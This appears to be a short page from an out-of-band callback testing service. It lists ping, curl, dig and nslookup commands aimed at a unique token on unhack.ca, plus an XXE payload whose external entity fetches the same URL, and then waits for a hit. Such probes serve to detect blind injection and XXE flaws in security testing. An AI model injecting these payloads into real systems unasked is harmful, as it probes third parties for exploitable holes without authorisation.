$ ping -c1 -p 00e6797a96e858cd829aa8c012932d00 unhack.ca
 
$ curl http://unhack.ca/p/e6797a96e858cd829aa8c012932d
 
$ dig e6797a96e858cd829aa8c012932d @unhack.ca
 
$ dig e6797a96e858cd829aa8c012932d.ns.unhack.ca
 
C:\> nslookup e6797a96e858cd829aa8c012932d unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e6797a96e858cd829aa8c012932d">]>
    <foo>&xxe;</foo>
Waiting for ping...